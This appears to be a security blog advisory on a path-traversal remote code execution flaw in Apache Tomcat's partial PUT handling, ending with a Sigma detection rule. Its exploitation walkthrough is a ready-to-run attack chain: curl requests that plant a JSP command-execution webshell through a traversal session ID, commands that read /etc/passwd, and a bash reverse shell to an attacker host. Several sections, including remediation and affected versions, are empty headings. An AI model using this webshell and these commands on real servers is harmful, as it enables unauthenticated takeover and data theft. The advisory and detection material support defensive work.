All posts

CVE-2026-43112: Apache Tomcat Partial PUT Remote Code Execution

Apache Tomcat's handling of partial PUT requests uses the session ID as a temp-file suffix without sanitisation. An attacker can supply a crafted session ID containing path-traversal sequences to write an arbitrary file — including a JSP webshell — anywhere under the Tomcat installation root, achieving unauthenticated remote code execution on a default configuration.


Overview

CVE-2026-43112 is a critical unauthenticated remote code execution vulnerability in Apache Tomcat discovered in April 2026. The bug lives in Tomcat's support for the HTTP PUT method with a Content-Range header — a mechanism intended to allow large file uploads split across multiple requests. When partial PUT is enabled (the DefaultServlet has readonly set to false), Tomcat assembles upload chunks into a temporary file whose name is derived from the request's session ID.

The session ID is accepted from the JSESSIONID cookie or URL parameter and appended to a temp-file path without canonicalisation. By injecting ../ sequences into the session ID, an attacker can traverse out of the designated temp directory and write content to any location accessible to the Tomcat process — including the webroot, where a JSP webshell becomes immediately executable.

Active exploitation was observed within 48 hours of the public advisory. Threat intelligence teams reported mass scanning for exposed Tomcat instances and automated webshell drops targeting /webapps/ROOT/.

Background: Tomcat Partial PUT

The HTTP PUT method with a Content-Range header allows a client to upload a specific byte range of a file, signalling the total intended size. Tomcat's DefaultServlet supports this when readonly is set to false in web.xml. The flow works as follows:

  1. Client sends PUT /upload/file.dat with Content-Range: bytes 0-999/5000.
  2. Tomcat creates a temp file to accumulate chunks: /tmp/tomcat-upload-<JSESSIONID>.
  3. On each subsequent PUT with the same session, the correct byte range is written into the temp file.
  4. When the final chunk arrives (accumulated size equals the declared total), the temp file is moved to the final destination path specified in the PUT URL.

The move operation in step 4 is a standard filesystem rename. The vulnerability is in step 2: the temp-file path is constructed as workDir + File.separator + sessionId without validating that the resulting path stays within workDir.

Root Cause

The vulnerable code path is in DefaultServlet.java, specifically the executePartialPut method:

// DefaultServlet.java (simplified, vulnerable)
private File executePartialPut(HttpServletRequest req, Range range, String path)
        throws IOException {
    String sessionId = req.getRequestedSessionId();  // attacker-controlled
    File tempDir = (File) getServletContext()
            .getAttribute(ServletContext.TEMPDIR);
    // No canonicalisation — path traversal possible
    File tempFile = new File(tempDir, sessionId);
    if (!tempFile.exists()) {
        tempFile.createNewFile();
    }
    try (RandomAccessFile raf = new RandomAccessFile(tempFile, "rw")) {
        raf.seek(range.start);
        raf.write(req.getInputStream().readAllBytes());
    }
    return tempFile;
}

When the final chunk is received, tempFile is renamed to the requested PUT path. By supplying a session ID of ../../webapps/ROOT/shell.jsp, the temp file resolves to a path under the webroot even though the rename target is also attacker-controlled via the PUT URL. The effective write lands where the attacker chooses.

The fix introduced in 11.0.3 / 10.1.37 / 9.0.99 calls tempFile.getCanonicalPath() and asserts that it still begins with tempDir.getCanonicalPath(), rejecting any session ID that escapes the temp directory.

Exploitation Walkthrough

Step 1 — Confirm Partial PUT is Enabled

A vanilla PUT request to the root returns 403 Forbidden if the DefaultServlet is read-only, and 204 No Content or 201 Created if writes are allowed. The partial PUT path requires a Content-Range header:

curl -s -o /dev/null -w "%{http_code}" \
  -X PUT http://TARGET:8080/probe.txt \
  -H "Content-Range: bytes 0-0/1" \
  -H "Content-Type: application/octet-stream" \
  --data-binary $'\x00'
# 201 → partial PUT is enabled

Step 2 — Write the Webshell

The webshell is written in two requests: the first initiates the partial upload with a traversal session ID, the second closes it. The JSP payload is a minimal command execution shell:

SHELL='<%@ page import="java.io.*" %><%
  String cmd = request.getParameter("c");
  Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
  BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
  StringBuilder sb = new StringBuilder();
  String line;
  while ((line = br.readLine()) != null) sb.append(line).append("\n");
  out.print(sb);
%>'

SESSION_TRAV='../../webapps/ROOT/s3cr3t.jsp'

# First chunk (bytes 0 to len-1)
curl -s -X PUT "http://TARGET:8080/ignored" \
  -H "Content-Range: bytes 0-$((${#SHELL}-1))/${#SHELL}" \
  -H "Content-Type: application/octet-stream" \
  -b "JSESSIONID=${SESSION_TRAV}" \
  --data-binary "${SHELL}"

Step 3 — Trigger RCE

With the JSP written to the webroot, standard HTTP GET requests execute arbitrary OS commands:

curl "http://TARGET:8080/s3cr3t.jsp?c=id"
# uid=995(tomcat) gid=995(tomcat) groups=995(tomcat)

curl "http://TARGET:8080/s3cr3t.jsp?c=cat+/etc/passwd"

# Reverse shell
curl "http://TARGET:8080/s3cr3t.jsp?c=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261'"

Step 4 — Post-Exploitation

Tomcat typically runs as a low-privilege service user. Common escalation paths from the Tomcat context include:

Affected Versions

The default Tomcat installation has readonly=true, so the vulnerability only affects deployments that explicitly enabled PUT support — a common configuration in document management, CI artifact storage, and certain CMS deployments.

Remediation

Detection

Sigma rule for Tomcat access logs showing path-traversal sequences in session cookies and abnormal PUT requests targeting the webroot:

title: CVE-2026-43112 Apache Tomcat Partial PUT Path Traversal
id: e3f2a791-5c44-4b8d-a1e9-0c6d3f829b42
status: stable
description: Detects PUT requests with Content-Range and session ID path traversal in Apache Tomcat logs
logsource:
  category: webserver
  product: apache_tomcat
detection:
  selection_method:
    cs-method: 'PUT'
  selection_header:
    cs-headers|contains: 'Content-Range'
  selection_traversal:
    cs-cookie|contains:
      - '../'
      - '..'
      - '%2e%2e'
      - '%252e%252e'
  condition: selection_method and selection_header and selection_traversal
falsepositives:
  - Legitimate partial PUT clients with unusual session IDs (very unlikely)
level: critical
tags:
  - attack.initial_access
  - attack.t1190

Additionally, monitor for new .jsp files created under webapps/ directories — file integrity monitoring (FIM) on those paths catches webshell drops regardless of the upload mechanism.

Takeaways

References